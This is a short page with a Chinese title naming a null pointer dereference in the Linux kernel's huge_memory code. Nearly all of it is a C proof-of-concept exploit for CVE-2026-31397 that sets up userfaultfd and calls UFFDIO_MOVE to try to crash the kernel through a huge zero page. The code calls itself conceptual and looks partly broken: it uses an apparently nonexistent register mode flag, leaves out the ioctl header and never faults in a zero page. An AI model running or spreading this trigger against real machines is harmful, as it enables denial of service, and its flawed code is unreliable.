Linux内核huge_memory模块空指针引用漏洞

/* * PoC for CVE-2026-31397 (Conceptual) * This code demonstrates the setup to trigger move_pages_huge_pmd() * with a huge zero page scenario. * Compile: gcc -o poc_cve2026_31397 poc_cve2026_31397.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> #include <fcntl.h> #include <errno.h> // Setup userfaultfd to monitor a memory region int setup_uffd(void *addr, size_t len) { struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; long uffd; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { perror("userfaultfd"); return -1; } uffdio_api.api = UFFD_API; uffdio_api.features = UFFD_FEATURE_MOVE; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) { perror("ioctl(UFFDIO_API)"); return -1; } uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_MOVE; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) { perror("ioctl(UFFDIO_REGISTER)"); return -1; } return uffd; } int main() { void *addr; size_t len = 2 * 1024 * 1024; // 2MB to encourage THP int uffd; // Allocate memory using mmap with MAP_HUGETLB to try for huge pages // Or rely on transparent huge pages (THP) normal allocation addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (addr == MAP_FAILED) { // Fallback to normal allocation if huge page fails, THP might promote it addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } } printf("Memory allocated at %p\n", addr); // Register with userfaultfd uffd = setup_uffd(addr, len); if (uffd < 0) { munmap(addr, len); exit(EXIT_FAILURE); } printf("Userfaultfd registered. Triggering UFFDIO_MOVE on potential zero page...\n"); struct uffdio_move uffdio_move; uffdio_move.src = (unsigned long)addr; uffdio_move.dst = (unsigned long)addr; // Moving to itself or target to trigger logic uffdio_move.len = 4096; // Move a page uffdio_move.mode = 0; // This ioctl attempts to move the page. // If the page is a huge zero page, the kernel bug in move_pages_huge_pmd is triggered. if (ioctl(uffd, UFFDIO_MOVE, &uffdio_move) == -1) { // Expected to fail or crash kernel depending on state perror("ioctl(UFFDIO_MOVE)"); } close(uffd); munmap(addr, len); return 0; }